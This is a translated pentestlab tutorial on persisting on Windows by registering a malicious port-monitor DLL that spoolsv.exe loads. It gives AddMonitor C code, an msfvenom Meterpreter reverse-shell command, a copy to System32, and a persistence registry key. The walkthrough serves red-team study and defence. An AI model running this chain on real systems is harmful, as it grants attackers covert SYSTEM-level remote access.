后台打印程序服務負責管理Windows操作系統中的打印作業。與服務的交互通過打印后台處理程序API執行,該API包含一個函數(AddMonitor),可用於安裝本地端口監視器並連接配置、數據和監視器文件。此函數能夠將DLL注入spoolsv.exe進程,並且通過創建注冊表項,red team operator可以在系統上實現持久性。
Brady Bloxham在Defcon 22上演示了這種持久性技術。應該注意的是,此技術需要管理員級別的特權,並且DLL必須拖放到磁盤上。Mantvydas Baranauskas在他的網站上使用了以下代碼,作為他的紅色團隊筆記的一部分。
該WINDOWS.H報頭包括Winspool.h這是由微軟規范所需的頭。該MONITOR_INFO_2用於指定必要的監控細節是:
- pName //監視器名稱
- pEnvironment //環境架構
- pDLLName //監視器DLL文件的名稱
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
AddMonitor功能
編譯代碼將生成一個可執行文件(在本例中為Monitors.exe),該可執行文件將在系統上執行惡意DLL(test.dll)的注冊。Metasploit框架可用於生成將服務於Meterpreter有效負載的DLL文件。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.21 LPORT=4444 -f dll > test.dll
該DLL必須復制到System32文件夾上,因為根據Microsoft 文檔,這是AddMonitor函數的預期位置,以便加載相關的DLL 。
copy C:\Users\pentestlab\Desktop\test.dll C:\Windows\System32
Monitors.exe
將惡意DLL復制到System32
Monitors.exe必須與惡意DLL位於同一文件夾(System32)中。執行該文件將與Meterpreter建立通信。
Meterpreter – AddMonitor注冊DLL
但是,為了實現持久性,在“ Monitors ”注冊表位置下需要一個密鑰。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
以下命令將創建一個注冊表項,該注冊表項將包含值test.dll。從編輯器中查看注冊表將驗證密鑰是否已創建。
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ
端口監視器–注冊表項
下次重新啟動時,spoolsv.exe進程將加載Monitors注冊表項中存在並存儲在Windows文件夾System32中的所有驅動程序DLL文件。下圖演示了Meterpreter會話已建立與Print Spooler服務(SYSTEM)相同級別的特權,並且已從System32文件夾(已刪除test.dll的文件夾)執行了執行。
持久性端口監視器– Meterpreter
譯文聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。
原文地址:https://pentestlab.blog/2019/10/28/persistence-port-monitors/